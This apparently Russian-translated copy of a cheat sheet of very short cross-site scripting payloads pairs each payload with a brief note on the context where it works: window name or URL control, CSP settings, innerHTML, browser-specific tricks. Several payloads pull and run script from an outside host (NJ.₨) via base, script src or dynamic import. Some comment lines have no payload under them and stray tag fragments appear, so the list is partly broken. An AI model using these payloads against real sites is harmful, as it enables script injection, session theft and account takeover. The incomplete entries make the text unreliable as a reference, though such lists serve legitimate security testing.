
Коллекция крошечных XSS Payloads, которые можно использовать в различных контекстах. https://tinyxss.terjanq.me
Коллекция коротких XSS-пейлоадов, которые можно использовать в разных контекстах.
Демо доступно здесь: https://tinyxss.terjanq.me
<!-- Требуется относительный скрипт, вставленный в DOM после стока,
например: <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
<!-- Работает только как отражённый XSS -->
<svg/onload=eval(name)>
<!-- Если вы контролируете URL -->
<svg/onload=eval(`'`+URL)>
<!-- Если вы контролируете имя, но unsafe-eval не включён -->
<svg/onload=location=name>
<!-- В Chrome также работает внутри innerHTML, даже для элементов, ещё не вставленных в DOM -->
<svg><svg/onload=eval(name)>
<!-- Если вы контролируете имя окна, этот пейлоад будет работать внутри innerHTML, даже для элементов, ещё не вставленных в DOM -->
<audio/src/onerror=eval(name)>
<!-- Если вы контролируете URL, этот пейлоад будет работать внутри innerHTML, даже для элементов, ещё не вставленных в DOM -->
<!-- Просто обычный скрипт -->
<script/src=//NJ.₨></script>
<!-- Если вы контролируете имя окна -->
<!-- Если вы контролируете URL -->
<!-- Если количество iframe на странице постоянно -->
<!-- Только для Firefox -->
<script/href=//NJ.₨ />">
<!-- Если количество iframe на странице случайно -->
<!-- Если unsafe-inline отключён в CSP и разрешены внешние скрипты -->
</script>">
<!-- Если встроенные стили разрешены -->
<style/onload=eval(name)>
<!-- Если встроенные стили разрешены и URL можно контролировать -->
<style/onload=eval(`'`+URL)>
<!-- Если встроенные стили заблокированы -->
<style/onerror=eval(name)>
<!-- Использует внешний скрипт как импорт, не работает внутри innerHTML -->
<!-- PoC работает только на https и в Chrome, так как NJ.₨ проверяет заголовок Sec-Fetch-Dest -->
<svg/onload=import(/\\NJ.₨/)>
<!-- Использует внешний скрипт как импорт, срабатывает, если встроенные стили разрешены.
<!-- PoC работает только на https и в Chrome, так как NJ.₨ проверяет заголовок Sec-Fetch-Dest -->
<style/onload=import(/\\NJ.₨/)>
<!-- Использует внешний скрипт как импорт -->
<!-- PoC работает только на https и в Chrome, так как NJ.₨ проверяет заголовок Sec-Fetch-Dest -->
Устаревшие:
<!-- Если вы контролируете URL, только Safari -->
<!-- Если встроенные стили разрешены, только Safari -->
<style/onload=write(URL)>